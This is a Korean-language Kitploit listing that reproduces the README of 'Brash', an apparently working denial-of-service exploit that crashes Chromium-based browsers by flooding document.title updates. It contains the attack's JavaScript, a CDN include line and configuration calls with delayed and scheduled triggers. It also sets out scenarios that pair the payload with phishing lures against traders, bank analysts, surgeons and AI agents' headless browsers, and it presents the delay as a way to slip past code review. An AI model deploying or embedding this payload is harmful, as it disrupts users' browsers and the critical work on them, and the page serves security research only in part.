Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
brash — document.title 악용을 통한 Chromium 브라우저 DoS 공격 | Kitploit
도구/GitHubGitHub/jofpin/brash
Exploit FrameworksVulnerability AnalysisWeb Application ExploitationPenetration Testing
GitHubjofpin/brash

brash

document.title 악용을 통한 Chromium 브라우저 DoS 공격

저장소 보기웹사이트
18069개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Brash

Brash by Jose Pino

document.title 악용을 통한 Chromium 브라우저 DoS 공격

Brash는 Google의 Chromium 기반 브라우저를 구동하는 렌더링 엔진인 **Blink**의 치명적인 취약점입니다. 특정 DOM 작업이 관리되는 방식의 아키텍처 결함을 악용하여 모든 Chromium 브라우저를 15~60초 안에 붕괴시킬 수 있습니다.

공격 벡터는 document.title API 업데이트에 대한 속도 제한이 전혀 없다는 점에서 비롯됩니다. 이를 통해 초당 수백만 건의 DOM 변형을 주입할 수 있으며, 이 주입 시도 중에 메인 스레드가 포화되어 이벤트 루프가 중단되고 인터페이스가 붕괴됩니다. 그 영향은 상당하여 높은 CPU 리소스를 소비하고 전체 시스템 성능을 저하시키며 동시에 실행 중인 다른 프로세스를 중단하거나 지연시킬 수 있습니다. 데스크톱, Android 및 임베디드 환경의 Chromium 브라우저에 영향을 미침으로써 이 취약점은 인터넷상의 30억 명 이상의 사용자를 시스템 수준의 서비스 거부(DoS)에 노출시킵니다.

상태: 작동 중
영향을 받는 버전: Chromium ≤ 143.0.7483.0 (테스트됨: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)

[!NOTE] 현재 익스플로잇은 작동 중입니다. 취약점이 패치되면 이 코드는 더 이상 작동하지 않습니다. 그럼에도 불구하고 이 아키텍처 결함을 발견하고 세상에 의미 있는 무언가를 공유하기 위해 전체 연구, 문서화 및 설계 과정을 완료한 것은 매우 보람찬 여정이었습니다.

테스트

취약점의 영향을 검증하기 위해 macOS, Windows, Linux에서 11개의 주요 브라우저를 테스트했습니다.

취약 (Chromium/Blink)

결함이 Blink 렌더링 엔진의 핵심에 존재하므로 모든 Chromium 기반 브라우저가 취약합니다:

  • Chrome — 15~30초 내 충돌
  • Edge — 15~25초 내 충돌
  • Vivaldi — 15~30초 내 충돌
  • Arc Browser — 15~30초 내 충돌
  • Dia Browser — 15~30초 내 충돌
  • Opera — 약 60초 내 충돌
  • Perplexity Comet — 15~35초 내 충돌
  • ChatGPT Atlas — 15~60초 내 충돌
  • Brave — 30~125초 내 충돌

취약하지 않음 (다른 엔진 사용)

  • Firefox (Gecko 엔진) — 공격에 면역
  • Safari (WebKit 엔진) — 공격에 면역
  • iOS 브라우저 (모두 WebKit 사용) — Apple의 강제 정책으로 인해 모든 iOS 브라우저가 렌더링 엔진으로 WebKit을 사용해야 하므로 iOS에서는 Chromium 기반 브라우저가 불가능하며, 공격에 면역

작동 원리

Brash는 Blink 렌더링 엔진의 근본적인 아키텍처 결함, 즉 document.title 업데이트에 대한 스로틀링 부재를 악용합니다. 공격은 세 가지 중요한 단계로 작동합니다:

1. 해시 생성 (준비)

공격을 시작하기 전에 512자로 구성된 100개의 고유한 16진수 문자열을 생성하여 메모리에 저장합니다.

실시간으로 생성하는 대신 미리 로드하는 이유는 무엇인가?

새 문자열을 지속적으로 생성하면 수학 연산에 CPU 시간이 소비되기 때문입니다. 그 시간은 매우 중요합니다. 문자열 생성에 소비되는 모든 밀리초는 document.title 업데이트로 브라우저를 공격하는 데 사용되지 않는 시간입니다.

100개의 문자열을 이미 메모리에 로드해 두면:

  • 더 빠른 공격: 문자열 생성으로 인한 일시 중지 없음
  • 집중된 CPU: 브라우저 포화에 전념하는 100%의 리소스
  • 더 적은 시스템 일시 중지: 가비지 컬렉터가 지속적으로 활성화되는 것을 방지
  • 탐지 회피: 100개의 서로 다른 문자열이 브라우저의 업데이트 캐싱 또는 최적화를 방지

그 결과, 업데이트당 최대 메모리 소비로 최대 주입 속도를 달성합니다.

root@kitploit:~
// Generates high-entropy unique IDs
gid: function() {
    let id = "";
    for (let i = 0x0; i < 0x200; i++) {
        id += ((Math.random() * 0x10) | 0x0).toString(0x10);
    }
    return id;
}

2. 버스트 주입 (공격)

구성 가능한 버스트 방식의 제목 업데이트를 실행합니다. 기본 구성(버스트: 8000, 간격: 1ms)에서는 초당 약 2,400만 건의 업데이트를 주입하려고 시도하며, 이 시도가 시작되는 순간 브라우저 붕괴가 시작됩니다.

root@kitploit:~
// Triple-update pattern: maximizes rendering pipeline thrashing
inject: function() {
    const t = this.titles[Math.random() * this.titles.length | 0x0];
    for (let i = 0x0; i < 0x3; i++) {
        document.title = t + i;  // Each burst performs 3 sequential updates
    }
    this.counter += 0x3;
}

3. UI 스레드 포화 (붕괴)

지속적인 업데이트가 브라우저의 메인 스레드를 포화시켜 다른 이벤트의 처리를 방해합니다:

붕괴 타임라인:

  • 0-5초: 초기 UI 스레드 포화, 극심한 CPU 소비
  • 5-10초: 탭이 완전히 정지, 닫기 불가능
  • 10-15초: 브라우저 붕괴 또는 "페이지 응답 없음" 대화상자
  • 15-60초: 강제 종료 필요 (Chromium 기반 브라우저)

왜 동작하는가?

Blink는 각 document.title 변경을 속도 제한 없이 메인 스레드에서 동기적으로 처리합니다. 이로 인해 다음과 같은 병목 현상이 발생합니다:

  • 이벤트 루프 차단
  • 사용자 입력 처리 방해
  • 긴 문자열로 메모리 포화
  • 컴포지터 및 렌더링 파이프라인 중단
  • 브라우저 프로세스 스래싱 유발

데모 및 PoC

Brash의 영향을 완전히 이해하려면 통제된 라이브 데모부터 직접 구현에 이르기까지 다양한 컨텍스트에서 익스플로잇을 경험할 수 있습니다. 각 옵션은 서로 다른 수준의 상호작용과 기술적 이해를 위해 설계되었습니다.

1. 라이브 데모

Brash가 작동하는 모습을 가장 빠르게 확인할 수 있는 방법입니다. **https://brash.run**을 방문하세요

그래픽 인터페이스 없이 익스플로잇을 보려면 **https://brash.run/hidden-live-demo.html**을 방문하세요. 이 버전은 실제 공격을 시뮬레이션하여 주입을 보이지 않게 실행합니다.

2. 로컬 데모

자체 환경에서 데모를 실행하려면 저장소에 포함된 exploit-demo/ 디렉토리에서 다음을 수행할 수 있습니다:

  • 실시간으로 공격 강도를 조정하는 컨트롤
  • 초당 업데이트 수를 표시하는 시각적 카운터
  • 중간(moderate), 공격적(aggressive), 극한(extreme)의 세 가지 사전 정의 모드
  • 브라우저가 점진적으로 붕괴되는 과정 관찰

아무 Chromium 브라우저에서 exploit-demo/index.html을 열고 시작 전에 burst 및 interval 값을 구성하기만 하면 됩니다.

  • burstSize: 간격당 제목 변경 수 (높을수록 더 공격적)
  • interval: 버스트 사이의 밀리초 (낮을수록 더 공격적)

3. 자체 PoC 구현

Brash를 자체 보안 테스트 또는 연구에 통합하려면 스크립트를 포함하고 공격을 구성하세요:

스크립트 포함:

root@kitploit:~
<!-- Local -->
<script src="brash.js"></script>

<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>

API 사용법:

root@kitploit:~
// 1. Immediate attack
Brash.run({
    burstSize: 8000,
    interval: 1
});

// 2. Delay in seconds (default)
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: 30  // 30 seconds
});

// 3. Delay with strings
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: "30s"  // or "5000ms" or "3m"
});

// 4. Scheduled attack
Brash.run({
    burstSize: 8000,
    interval: 1,
    scheduled: "2025-10-18T09:30:00"
});

강도 구성:

root@kitploit:~
// Moderate: controlled observation
// Effect: Browser responds slowly and allows observing gradual degradation
Brash.run({ 
    burstSize: 200,
    interval: 1000 // ~600 updates/sec
});

// Aggressive: rapid saturation
// Effect: Tabs freeze in 10-20 seconds
Brash.run({ 
    burstSize: 2000, 
    interval: 100 // ~60,000 updates/sec
});

// Extreme: instant collapse
// Effect: Immediate freeze, total crash in 15-30 seconds
Brash.run({ 
    burstSize: 8000,
    interval: 1 // Attempts ~24M updates/sec (browser collapses during the attempt)
});

참고: 각 버스트는 3개의 순차적 document.title 업데이트를 실행합니다. 예를 들어 burstSize: 400 = 간격당 실제 1,200회 업데이트입니다.

공격 시나리오

Brash는 경제적 손실부터 인명 피해 위험에 이르는 결과를 초래하는 여러 중요 컨텍스트에서 무기화될 수 있습니다.

시간 지연 공격: 전략적 타이밍

Brash의 위험성을 증폭시키는 중요한 기능은 특정 시점에 실행되도록 프로그래밍할 수 있다는 점입니다. 공격자는 시간적 트리거와 함께 코드를 주입하여 사전에 결정된 정확한 시간까지 잠복 상태를 유지할 수 있습니다.

기술적 구현:

root@kitploit:~
// Delay in seconds (default)
Brash.run({ burstSize: 8000, interval: 1, delay: 30 });

// Delay with strings (ms, s, m)
Brash.run({ burstSize: 8000, interval: 1, delay: "30s" });
Brash.run({ burstSize: 8000, interval: 1, delay: "5000ms" });

// Scheduled: executes at exact moment
Brash.run({ burstSize: 8000, interval: 1, scheduled: "2025-10-18T09:30:00" });

매개변수:

  • burstSize: 주기당 업데이트 수
  • interval: 주기 사이의 밀리초
  • delay: 숫자(초) 또는 문자열 ("30s", "5000ms", "3m")
  • scheduled: ISO 문자열 또는 Date 객체

delay 매개변수가 특히 치명적인 이유:

  1. 링크를 언제 열지 알 필요 없음: 피해자가 페이지를 여는 순간부터 X초를 기다리기만 하면 됩니다.

  2. 신뢰를 구축할 시간: 대기 시간 동안 피해자는 정당해 보이는 콘텐츠(양식, 문서, 동영상)와 상호작용합니다.

  3. 초기 검사 회피: 누군가 코드를 빠르게 검토하면 비활성 상태로 보입니다. 공격은 나중에야 실행됩니다.

  4. 완벽한 심리적 타이밍: 피해자가 작업에 깊이 몰입할 때까지 기다립니다(시험 중간, 회의 중간, 중요 절차 중).

delay 사용 시 일반적인 시나리오:

root@kitploit:~
00:00 - 피해자가 "Q4 Documents.pdf" 링크를 엽니다
00:30 - 피해자가 문서를 검토하며 정상적으로 보입니다
02:00 - 피해자가 50명이 있는 회의에서 화면을 공유합니다
03:00 - 공격 실행 - 모든 브라우저가 붕괴됩니다

scheduled 매개변수 또한 파괴적인 이유:

  1. 정밀한 동기화: 공격자는 최대 영향을 미칠 정확한 순간(시장 개장, 최대 운영 시간)을 선택합니다.

  2. 전 세계 동시다발 공격: 동일한 초에 여러 표적을 동시에 타격할 수 있습니다.

  3. 사전 탐지 회피: 악성 코드는 실행되지 않은 채 수일 또는 수주 전부터 존재하여 보안 검토를 통과할 수 있습니다.

  4. 중지 불가능: 공격이 실행되는 시점에는 이를 막기에는 너무 늦습니다.

전략적 타이밍 예시:

  • 오전 9:30 EST — 월스트리트 개장 (최대 거래 변동성)
  • 오전 3:00 — 병원 교대 시간 (최소 인력, 최대 취약성)
  • 정오 12:00 — 항공 교통 최대 시간 (최대 동시 항공편 수)
  • 블랙 프라이데이 00:00 — 온라인 판매 시작 (최대 전자상거래 트래픽)
  • 라이브 이벤트 중 — 대통령 토론, 슈퍼볼, 대규모 스포츠 이벤트

이러한 운동적 타이밍 능력은 Brash를 단순한 방해 도구에서 시간적 정밀 무기로 변모시킵니다. 공격자는 "무엇"과 "어디서"뿐만 아니라 **"언제"**까지도 밀리초 단위의 정확도로 통제할 수 있습니다.


AI 에이전트 오염: 자동화 시스템

시나리오: 웹 스크래핑, 시장 분석, 경쟁사 모니터링 또는 고객 지원 자동화를 위해 AI 에이전트에 의존하는 기업 시스템은 헤드리스 브라우저(Chromium/Puppeteer)를 사용하여 매일 수천 개의 웹사이트를 쿼리합니다. 공격자는 이러한 에이전트가 쿼리하는 인기 사이트에 Brash를 주입합니다.

중요한 자동화 작업 중:

  • AI 에이전트가 시장 분석을 위해 손상된 금융 뉴스 사이트를 쿼리합니다
  • Brash가 에이전트의 헤드리스 브라우저에서 조용히 실행됩니다
  • 브라우저 프로세스가 붕괴되어 전체 분석 파이프라인이 중단됩니다
  • 에이전트 데이터를 기다리는 다운스트림 시스템이 시간 초과에 빠집니다
  • 자동 매매/가격 결정이 차단됩니다
  • 모니터링 시스템이 여러 에이전트에서 동시에 대규모 장애를 감지합니다
  • 전체 에이전트 인프라를 재시작하려면 수동 개입이 필요합니다

증폭된 공격 벡터:

  • AI 연구 보조 도구: 기업을 위해 웹 정보를 검색하고 처리하는 에이전트
  • 가격 모니터링 봇: 경쟁사 가격을 추적하는 전자상거래 시스템
  • SEO 분석 도구: 분석을 위해 수백만 페이지를 크롤링하는 서비스
  • AI 기반 고객 지원: 웹 문서를 실시간으로 쿼리하는 챗봇
  • 자동 규정 준수 스캐닝: 웹사이트를 모니터링하는 규제 시스템

실질적 영향: 중요 자동화 작업의 마비, 실행되지 않은 결정으로 인한 경제적 손실, AI 의존 서비스의 대규모 성능 저하, 인프라 복구 비용, 자동화 에이전트에 대한 중요한 의존성 노출.

수술 절차 방해: 생명을 위협하는 공격

시나리오: 심혈관 외과 의사가 웹 기반 수술 내비게이션 시스템(최소 침습 수술에서 점점 더 보편화되고 있음)의 지원을 받아 관상동맥 우회술을 수행하고 있습니다. 시스템은 실시간 영상, 환자의 활력 징후, 로봇 수술 기구 안내를 제공합니다.

수술의 가장 중요한 단계에서 브라우저 알림이 나타납니다: "경고: 중요한 수술 시스템 업데이트 - 지금 적용하지 않으면 수술이 실패할 수 있습니다."

당황하여 클릭하면:

  • 수술 내비게이션 시스템과 함께 브라우저가 즉시 붕괴됩니다
  • 외과 의사는 3~5분 동안 안내 이미지 시각화를 잃습니다
  • 실시간 활력 징후가 화면에서 사라집니다
  • 의료진은 시스템을 재시작하는 동안 즉흥적으로 대처해야 합니다
  • 붕괴 창 동안 환자는 심각한 위험에 처합니다

실질적 영향: 환자 사망의 직접적 위험, 영구적 손상 가능성, 의료진의 심리적 트라우마, 기술적 과실에 대한 수백만 달러 규모의 소송.

증권거래소 플래시 크래시

시나리오: 월스트리트 시장 개장 중에 악의적인 공격자가 Brash를 여러 채널에 동시에 주입합니다: 블룸버그 터미널 웹 인터페이스, 기관 트레이더 채팅, 전문 포럼. 링크는 "유출: 연준(Fed) 긴급 회의록 - 금리 인하 확정"을 약속합니다.

거래 시작 후 첫 30초(최대 유동성) 동안:

  • 200명 이상의 기관 트레이더가 동시에 클릭합니다
  • 그들의 웹 터미널이 수백만 달러 규모의 주문을 체결하는 바로 그 순간 붕괴됩니다
  • 자동 거래 알고리즘은 활동의 급격한 감소를 "크래시"로 감지합니다
  • 대규모 자동 매도가 촉발됩니다
  • 서킷 브레이커가 작동하기 전 90초 만에 시장이 5~7% 하락합니다
  • 수백만 명의 개인 투자자가 저축을 잃습니다

실질적 영향: 수조 달러의 시가총액 손실, 글로벌 금융 패닉, SEC 조사, 시장에 대한 잠재적 신뢰 위기.

은행 시스템: 실시간 사기 방지

시나리오: 은행의 사기 분석가가 웹 대시보드를 통해 의심스러운 거래 알림을 실시간으로 처리합니다. 블랙 프라이데이(거래 최대치) 동안 그들은 회사 이메일로 Brash를 받습니다: "새로운 사기 패턴 감지 - 긴급 분석 필요."

거래량이 가장 많은 순간:

  • 20명 이상의 분석가가 동시에 링크를 엽니다
  • 사기 탐지 대시보드가 붕괴됩니다
  • 15~20분 동안의 거래가 검토되지 않은 채 남습니다
  • 공격자들은 이 시간 창을 악용하여 수천 건의 도난 거래를 처리합니다
  • 200만~500만 달러 규모의 사기가 탐지되지 않고 통과합니다
  • 자동화 시스템은 분석가가 응답하지 않으면 거래를 허용하도록 구성되어 있습니다

실질적 영향: 수백만 달러의 직접 손실, 수천 명의 고객에 대한 사기 청구, 대규모 평판 손상, 예방 시스템 장애에 대한 규제 벌금.


이러한 시나리오는 이론적인 것이 아닙니다. Brash의 단순함은 웹 브라우저에 의존하는 모든 운영에 실질적인 위협이 되게 하며, 2025년 기준으로 이는 사실상 모든 것을 의미합니다.

맺음말

Brash의 제작은 우리가 매일 사용하는 웹 기술에 기본적인 보호 장치가 없을 때 무슨 일이 일어나는지 입증하기 위한 노력입니다. 취약점의 핵심은 복잡한 코드나 고급 기술에 있는 것이 아니라, 설계상 스로틀링이 적용되어야 하는 API에 속도 제한이 근본적으로 없다는 점에 있습니다.

Brash가 30억 명 이상의 Chromium 브라우저 사용자에게 미치는 영향은 Blink와 같은 핵심 구성 요소의 아키텍처 결함이 거대하고 전 세계적인 결과를 초래한다는 것을 보여줍니다. 이것은 고립된 버그가 아니라 Chromium 생태계 전체에 영향을 미치는 설계 결함입니다.

가장 위험한 것들은 가장 예상하지 못한 곳, 가장 무시되는 곳에 숨어 있다. - Jose Pino

면책 조항

이 PoC는 인터넷을 더 안전한 곳으로 만드는 데 기여하기 위해 교육 및 보안 연구 목적으로만 제공됩니다. 실행은 통제된 환경에서만 수행되어야 하며, 프로덕션 시스템, 공개 웹사이트 또는 중요한 데이터가 포함된 기기에서 사용해서는 안 됩니다.

이 익스플로잇을 오용하면 브라우저 충돌, 데이터 손실 및 시스템 불안정이 발생할 수 있습니다. 저자는 이 PoC의 사용 또는 오용으로 인해 발생하는 모든 손해, 데이터 손실 또는 법적 결과에 대해 책임을 지지 않습니다. Brash를 사용함으로써 귀하는 이러한 위험을 이해하고 있음을 인정하며 격리된 환경에서의 합법적인 보안 연구에만 사용하는 것에 동의합니다.

사용자는 모든 관련 법률 및 규정을 준수해야 합니다. 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 대해 이 익스플로잇을 무단 사용하는 것은 불법적이고 비윤리적입니다.

라이선스

이 프로젝트의 콘텐츠 자체는 크리에이티브 커먼즈 저작자표시 3.0 라이선스에 따라 라이선스가 부여되며, 해당 콘텐츠의 형식 지정 및 표시에 사용된 기본 소스 코드는 MIT 라이선스에 따라 라이선스가 부여됩니다.

저작권 (c) 2025, Jose Pino

도구 다운로드